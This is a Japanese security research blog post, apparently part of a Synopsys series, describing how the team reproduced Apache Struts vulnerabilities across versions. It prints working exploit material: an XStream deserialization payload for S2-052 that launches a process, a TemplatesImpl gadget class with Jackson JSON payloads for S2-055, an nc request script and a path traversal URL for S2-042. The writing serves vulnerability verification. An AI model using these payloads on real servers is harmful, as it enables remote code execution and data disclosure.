Table of Contents

    2019年8月、SynopsysのCybersecurity Research Center(CyRC)は、Apacheソフトウェア財団と連携してApache Strutsセキュリティ勧告S2-058を発表しました。この勧告は、Strutsの115バージョンの64件の脆弱性に照準を合わせてベルファストのチームが実施した調査を反映したもので、脆弱性別に影響を受けた約50のバージョンが特定されています。この一連の記事では、これまでの経験を読者の皆さんに共有いたします。

    このブログ・シリーズは技術系読者向けで、このプロジェクト中に我々が得た洞察や遭遇した問題、思い付いた解決策を公開しています。

    これはこのシリーズの3回目の投稿です。初めての方は、第1回目の投稿からお読みになるようお勧めします。

    Apache Strutsを調査した理由

    2018年8月、我々は新しく発表されたApache Strutsのリモートコード実行の脆弱性(CVE-2018-11776/S2-057)を検証しました。独自の概念実証を作成し、Apache Strutsの過去のリリースに対してこれをテストした結果、当初の報告よりも多くのバージョンが脆弱性の影響を受けたことを発見しました。我々は、当社の責任ある開示方針に従いこれらの知見を報告しました。しかし、この発見によって、これまで報告されたすべてのApache Strutsの脆弱性についてはどうだったのか?という疑問が浮かんできました。我々は、脆弱性の大規模な調査を実施するためのシステムの構築に取り掛かりました。

    既存の概念実証の再現

    脆弱性の再現の最初のステップは、通常、アドバイザリで提供された指示に従うことです。ただし、セキュリティアドバイザリで一般に見られるように、その時点でApache Strutsアドバイザリのかなりの部分には再現の情報が含まれておらず、まして概念実証(POC)を利用するためのステップに関する情報はなおさらのことです。再現情報を含むアドバイザリにも完全な情報がないことがよくあります。チームが解析を開始したとき、解析した合計57件の脆弱性の中で、再現情報がオンラインで見つかるものは25件のみで、その大半はこのチームでは使用できませんでした。

    セキュリティ情報

    POC

    セキュリティ情報

    POC

    セキュリティ情報

    POC

    S2-001

    なし

    S2-020

    なし

    S2-039

    なし

    S2-002

    あり

    S2-021

    なし

    S2-040

    なし

    S2-003

    あり

    S2-022

    なし

    S2-041

    なし

    S2-004

    あり

    S2-023

    なし

    S2-042

    なし

    S2-005

    あり

    S2-024

    なし

    S2-043

    なし

    S2-006

    あり

    S2-025

    なし

    S2-044

    なし

    S2-007

    あり

    S2-026

    なし

    S2-045

    あり

    S2-008

    あり

    S2-027

    なし

    S2-046

    あり

    S2-009

    あり

    S2-028

    なし

    S2-047

    なし

    S2-010

    なし

    S2-029

    なし

    S2-048

    あり

    S2-011

    なし

    S2-030

    なし

    S2-049

    なし

    S2-012

    あり

    S2-031

    なし

    S2-050

    なし

    S2-013

    あり

    S2-032

    あり

    S2-051

    なし

    S2-014

    あり

    S2-033

    あり

    S2-052

    あり

    S2-015

    あり

    S2-034

    なし

    S2-053

    あり

    S2-016

    あり

    S2-035

    なし

    S2-054

    なし

    S2-017

    あり

    S2-036

    なし

    S2-055

    あり

    S2-018

    なし

    S2-037

    あり

    S2-056

    あり

    S2-019

    なし

    S2-038

    なし

    S2-057

    あり

    Strutsが発売された当時(10年以上前)の例を不当に選ぶ代わりに、最新の例を提供するために、オンラインで入手できるMetasploitツールを利用したリモートコード実行の脆弱性であるS2-052のPOCを見つけました。

    POCを使用してこの脆弱性を再現する試みにおいて、エクスプロイトがJava 8のみで機能することを発見しました。一見、この脆弱性は特定のJavaランタイム・リリースのみに存在したようでした。しかし、他のバージョンからのペイロードとレスポンスを調べたところ、この脆弱性が依然として存在すること、しかし異なるJava Runtime Environmentバージョン間でペイロードを微調整する必要があることが明らかになりました。

     S2-052のペイロードの例

    <map>
       <entry>
           <jdk.nashorn.internal.objects.NativeString>
               <flags>0</flags>
               <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”>
                   <dataHandler>
                       <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”>
                           <is class=”javax.crypto.CipherInputStream”>
                               <cipher class=”javax.crypto.NullCipher”>
                                   <initialized>false</initialized>
                                   <opmode>0</opmode>
                                   <serviceIterator class=”javax.imageio.spi.FilterIterator”>
                                       <iter class=”javax.imageio.spi.FilterIterator”>
                                       <iter class=”java.util.Collections$EmptyIterator”/>
                                           <next class=”java.lang.ProcessBuilder”>
                                               <command>
                                                   <string>/usr/bin/touch</string>
                                                   <string>/tmp/exploited</string>
                                               </command>
                                               <redirectErrorStream>false</redirectErrorStream>
                                           </next>
                                       </iter>
                                       <filter class=”javax.imageio.ImageIO$ContainsFilter”>
                                           <method>
                                               <class>java.lang.ProcessBuilder</class>
                                               <name>start</name>
                                               <parameter-types/>
                                           </method>
                                           <name>foo</name>
                                       </filter>
                                       <next class=”string”>foo</next>
                                   </serviceIterator>
                                   <lock/>
                               </cipher>
                               <input class=”java.lang.ProcessBuilder$NullInputStream”/>
                               <ibuffer/>
                               <done>false</done>
                               <ostart>0</ostart>
                               <ofinish>0</ofinish>
                               <closed>false</closed>
                           </is>
                           <consumed>false</consumed>
                       </dataSource>
                       <transferFlavors/>
                   </dataHandler>
                   <dataLen>0</dataLen>
               </value>
           </jdk.nashorn.internal.objects.NativeString>
           <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/>
       </entry>
       <entry>
           <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
           <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
       </entry>
    </map>

    これは誤解を招く状況でした。独自のペイロードを作成する代わりに、ツールを使用してペイロードを事前に作成し、脆弱性の存在を検証した人は、システムは脆弱ではないとすぐに推測するでしょう。ペイロードと脆弱性の仕組みを十分に理解していないと、間違った安心感や間違った結論につながります。さらに、業界では多くの場合、古いバージョンのソフトウェアが脆弱かどうかを評価することを好まず、報告の目的で、前のバージョンはすべて脆弱であったと仮定してしまう場合があります。それとは対照的に、Black Duck SCAツールで生成される脆弱性フィードは、このような仮定を行うのではなく、どのバージョンが脆弱かを特定できます。

    実行環境に関する投稿で説明したように、特定のソフトウェアは、影響を受けたコンポーネントに至る前にその動作を変更したり、要求をサニタイズしたりします。古いApache Strutsの脆弱性の多くはTomcat 8によるフィルタリングで排除されます。Tomcat 8では、この機能のないバージョン6などの古いバージョンのTomcatでのテストを必要とするURLサニタイズなどの機能が導入されています。さらに、Eclipseを使用してTomcatを実行する際に異なる一連の動作に気付きました。Eclipseデバッグ環境では異なる基本ライブラリが導入され、それがテストの結果に影響し、それによって、通常、脆弱性が再現不可能になっていました。

    eclipse-debugging-environment

    POCがあるにもかかわらず、いくつかの理由でそれらを書き直しました。理由の1つは、ペイロードの動作を正確に理解するためでした。前述したように、ペイロードの動作をよく理解していないと、間違った結論に達してしまいます。他の問題から、そして他のPoCを作成することで得た知識によってPOCをさらに充実させました。業界のPoCのほとんどは、特定のソフトウェアの1つのブランチバージョンに対してのみ実行するように設計されていますが、当社のPoCでは、さまざまな環境構成ですべてのバージョンに対してテストしたいと考えました。既存のPoCにはそのための十分な柔軟性がありません。最後に、大規模なテストのために、当社の自動化されたテストスイートと密接に統合したいと考えました。

    一部のエクスプロイトには、Strutsコアで特定のスイッチをオンにしたり、特定のオプションを特定の方法でコンパイルしたり、Strutsのサンプル .warファイルに存在しない異なる脆弱なコードを使用したりする必要がありました。当社は、Strutsのさまざまな機能をデモで見せるShowcaseを優先しました。ここでビルドシステムに関する第1回目の投稿が関係するようになり、これらの状況の大部分の自動化に役立ちました。

    さらに要求された方法で構築できないStrutsバージョンがあったり、ビルドシステムが特定の変更を嫌ったりといった外れ値的な状況もいくつかありました。そのような場合には、.warファイルを構築するためにアクセスできたので、プログラムによって、追加の事前構築クラスを含めてそれらのファイルを再パッケージ化することができました。幸いなことに、これは迅速にテストを行うために多数のバージョンでコード変更をデプロイする方法として非常に速いものであることがわかりました。また、これらのファイルを変更して設定をトグルしてエクスプロイト(通常「空の」.warファイルを使用しており、それは設計上、Strutsコアを含んでいましたが、利用するための機能コードは含まれていない)を検証する必要のある状況もありました。空のファイルは通常、Strutsの環境とビルドが正常であることの検証に使用されるため、これらのインジェクションを妨げる可能性のあるその他のコードはほとんどありませんでした。
     

    インジェクトされたクラスの例

    injected-class-example

    StrutsのサブコンポーネントのPoCが存在するが、Strutsによって消費されるとエクスプロイトのための明確なパスはないという状況にも対処しなければなりませんでした。この一例は、S2-055(リモートコード実行脆弱性)です。この脆弱性により、Apache StrutsがJackson FasterXMLコンポーネントを使用するように構成/コンパイルされている場合にRCEを引き起こす可能性のある、潜在的に有害なペイロードを渡すことが可能になると報告されています。

    当社のビルドシステムでは、Jackson FasterXMLを含むStrutsの各バージョンは(多くのバージョンには含まれていませんでした)、それをデフォルトとして使用することを保証しました。さまざまなペイロードを使用して、Struts RESTプラグインShowcaseでStrutsのエクスプロイト可能性を検証しました。

    ペイロードを生成するには、まず脆弱性を実行するコードをいくつか準備する必要がありました。
     

    Exploit.java

    import java.io.*;
    import java.net.*;
    @SuppressWarnings(“restriction”)
    public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
           public Exploit() throws Exception {
                   StringBuilder result = new StringBuilder();
                   URL url = new URL(“http://localhost:4444/”);
                   HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                   conn.setRequestMethod(“GET”);
                   BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                   String line;
                   while ((line = rd.readLine()) != null) {
                           result.append(line);
                   }
                   rd.close();
           }

           @Override
           public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                           com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
                           com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
           }

           @Override
           public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                           com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
           }
    }


    javacを使用してExploit.javaをコンパイルし、これをbase-64文字列(この例ではバイトコード・データと呼んでいます)に変換しました。これらの変換は、Linux環境では比較的簡単です。

    cat Exploit.class | base64 -w 0

    バイトコード・ペイロードが組み立てられたら、HTTPペイロードにまとめるだけです。異なる環境での変化に対応するために、さまざまなペイロードを使用しました。
     

    ペイロード1

    {‘id’: 124,
     ’obj’:[ ‘com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl’,
      {
         ’transletBytecodes’ : [ ‘bytecode data’ ],
         ’transletName’ : ‘a.b’,
         ’outputProperties’ : { }
      }
     ]
    }

    ペイロード2

    false{‘id’: 124,
    ‘obj’:[ ‘com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl’,
     {
        ’transletBytecodes’ : [ ‘bytecode data’ ],
        ’transletName’ : ‘a.b’,
        ’outputProperties’ : { }
     }
    ]

    ペイロード3
    [ “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,
     {
        ”transletBytecodes”:  [“bytecode data”],
        ”transletName”: “a.b”,
        ”outputProperties”: { }
     }
    ]
    ペイロード4
    [ “java.lang.void” ]


    これらのペイロードのいくつかをJackson FasterXMLを使用して直接サンプルアプリケーションで指定されたオプションを切り替えながら、有効性を確認しました。しかし、この脆弱性を直接エクスプロイトするには、コンポーネントでmapper.enableDefaultTypingを有効にする必要があることがすぐに明らかになりました。このオプションはApache Strutsで有効ではないだけではなく、Strutsアプリケーション内からこのオプションをオンにするために実行できるStruts API呼び出しを特定することもできませんでした。この脆弱性を悪用可能にするには、アプリケーション開発者は指定されたオプション内で独自のStrutsの分岐を維持する必要があります。これは今日の一般的なJava開発プラクティスではできそうにありません。

    とにかく、最初はペイロードをrest-showcaseサンプル・アプリケーションに送信することにより、このオプションを無効にした状態でテストしました。XStreamコンポーネントを使用した場合、S2-051のrest-showcaseアプリケーションでのペイロードの実行では、成果が見られました。以下の送信済みペイロード例(大規模なテストではなく、単純化した例)では、Webアプリケーションサーバーにローカルホスト8080を使用し、ペイロードをpayload.jsonに配置しています。
     

    ~

    echo ‘GET /struts2-rest-showcase/orders/3 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Referer: ‘$1’/struts2-rest-showcase/orders.xhtml
    Connection: close
    Content-Type: application/json
    Content-Length: ‘$(cat payload.json |wc -c)’
    Pragma: no-cache
    Cache-Control: no-cache

    ‘”$(cat payload.json)”| nc -v 127.0.0.1 8080


    これらのペイロードの一部はJacksonライブラリによって直接デモで見せることができますが、多相型処理を明示的に有効にすることのみによりそれらを直接複製することができます。Strutsの実装のデフォルトではこのオプションは有効になっておらず、Strutsフレームワークを通してそれを有効にするオプションはありませんでした。これにかかわらず、既知の脆弱なバージョンに対するテストでは(デフォルトのハンドラをJackson FasterXMLに変更することが必要)、上述のペイロードを使用して複製できる脆弱性は明らかになりませんでした。

    この脆弱性が最初に報告されたとき、それは確定的な脆弱性であることが示唆されました。そのような状況では、リサーチャーは、本来の目的から逸れた道を進み続けて、ソリューションに実在しない脆弱性を再現しやすくなります。実際にStrutsアプリケーション開発者がこの脆弱性に遭遇する可能性は極めて低いものです。Coverityなどの静的解析ツールがこのような状況で役立ちます。カスタム・チェッカーを使用して、コードパス内にそれらの脆弱性があるかどうかを確認できるからです。

    PoCなしでの脆弱性の再現最初のアドバイザリ

    ここまでは、実際に使用される既存のPoCについて説明しました。しかし、PoCの大半(存在した場合)は機能しませんでした。そのため、使用可能な情報を利用して脆弱性をリバース・エンジニアリングする必要がありました。これには、Apache Strutsのバージョン間のソース・コードの違いの検証、修正したコードの確認、場所の特定を目的としたガイドとしてのアドバイザリの使用、さらに脆弱性の再現の試行などの作業の組み合わせが必要でした。

    S2-042の最初のアドバイザリで提供されたのは、脆弱性に関する簡単な説明にすぎませんでした。


    最初のアドバイザリ

    original-advisory

    Conventionプラグインでは、アクション名、インターセプタ、名前空間、およびXWorkのさまざまなオーバーライドが提供されていることがわかりました。パッケージ名、URL名、デフォルトアクション、結果処理、および名前空間など、さまざまな表記規則が確立されています。さらに、検索エンジン最適化(SEO)の機能も含まれています。

    手動のアプローチをとって、バージョン間のソースコードの違いを確認し、Conventionプラグインで影響のあったコードを特定しました。その際、修正が必要な2.3のソースコード変更および2.5のソースコードの変更を見つけました。この修正では、findResultメソッドを呼び出す際のパスの処理に関するコードをさらに厳密化します。もちろん、この種の解析はクローズドソースの製品ではさらに時間がかかります。オープンソースでは、脆弱性の識別、解析、およびソリューションまたは回避策の特定をはるかに速く行うことができます。

    また、Conventionプラグインは、2.1リリース以降、CodebehindプラグインおよびZero Configプラグインに代わってStrutsとバンドル化されていることを確認しました。通常、Conventionプラグインは構成を必要とせず、デフォルトで有効になっています。その表記規則の多くは、struts.xmlに含まれる構成プロパティを使用して制御されます。

    メソッド呼び出しの後、特別に作成した要求により任意のページの読み取りが可能になることがソースからわかりました。さらに、そのページはstruts.convention.result.pathの下に構成され、機密のコンテンツのパストラバーサルおよび開示につながると推測しました。通常、このパスには、デフォルトでWEB-INFパスが使用されます。ただし、デフォルトで使用される機能には、.warファイルは含まれていません。Strutsではこの機能が追加の設定なしでサポートされています。そのため、この機能を含めるためにshowcaseのカスタマイズに取り掛かりました。GoActionというクラスを作成し、1つのStrutsバージョンに対してコンパイルしました。
     

    GoAction.java WEB-INF/classes/org/apache/struts2/showcase/person/GoAction.class

    package org.apache.struts2.showcase.person;
    import com.opensymphony.xwork2.ActionSupport;
    public class GoAction extends ActionSupport {
       private String go;
       public String execute(){
           return go; 
       }
       public String getGo() {
           return go;
       }
       public void setGo(String go) {
           this.go = go;
       }   
    }


    この時点で、ビルドシステムを使用して、各バージョンを再コンパイルせずに、生成したクラスを他のApache Struts Showcaseバージョンにインジェクションしました。これは、異なるバージョン間で脆弱なコードを迅速にテストまたは変更するのに効果的な方法でした。さらに、既存のShowcase Webアプリを使用して、.warファイル内の既存のファイル(特にhelp.jspファイル)を利用し、脆弱性を明らかにしました。
     

    ディレクトリツリー:/WEB-INF/

    WEB-INF/
    ├── help.jsp
    ├── person
    │   ├── edit-person.jsp
    │   ├── list-people.ftl
    │   └── new-person.ftl


    次に、ペイロードを作成しました。これには上述の脆弱なコンポーネントコードで使用したgoパラメータを指定しただけです。

    http://localhost:8080/struts2-showcase/person/go?go=../help

    脆弱性な既知のバージョンに対して脆弱性を再現し、help.jspページを確認することができました。
     

    ペイロードの成功、パストラバーサルによりhelp.jspを返す

    struts2-showcase

    脆弱でないバージョンに対して同じペイロードをテストしたところ、不快なメッセージは生成されましたが、パストラバーサルの問題に対しての脆弱性はありませんでした。(注意深く見ている方のために、エラーメッセージがXSSに対して脆弱ではないことも確認しました。)
     

    ペイロードの失敗

    payload-failure

    さらにソースの読み取りとテストを行うことで、Conventionプラグインでは、結果ファイルのタイプがjspx、jsp、jspf、vm、html、htm、およびftlに制限されており、それによって脆弱性の影響も制限されることが判定されました。この取り組みの結果、パストラバーサルの脆弱性は2.3.31と2.5.3で修正されたことがわかりました。テストでは、影響を受けたバージョンが2.3.1~2.3.30、および2.5.BETA1~2.5.2であることがわかりました。これは、最初のセキュリティ情報にリストされた2.3ブランチの影響のあったバージョン範囲を拡張するもので、2.5ブランチに新たな脆弱性範囲が追加されました。バージョンの検証については、後述の第4部の投稿で詳しく説明します。

    まとめ

    ロシアのことわざ「信ぜよ、されど確認せよ」(doveryai, no proveryai) このブログの投稿で検討したほとんどの取り組みは、このことわざを実践したものです。つまり、既存のPoCの検証、独自のエクスプロイトペイロードの作成、修正が適用された方法、場所、および時点のトレース、異なるバージョンリリースに対する脆弱性の検証(ソース解析の結果に関係なく)、さらには作業中に気付いた未知の潜在的な脆弱性の検証などです。

    リサーチャー

    • Padraig Donnelly
    • Ashley Stone
    • Stephen Mort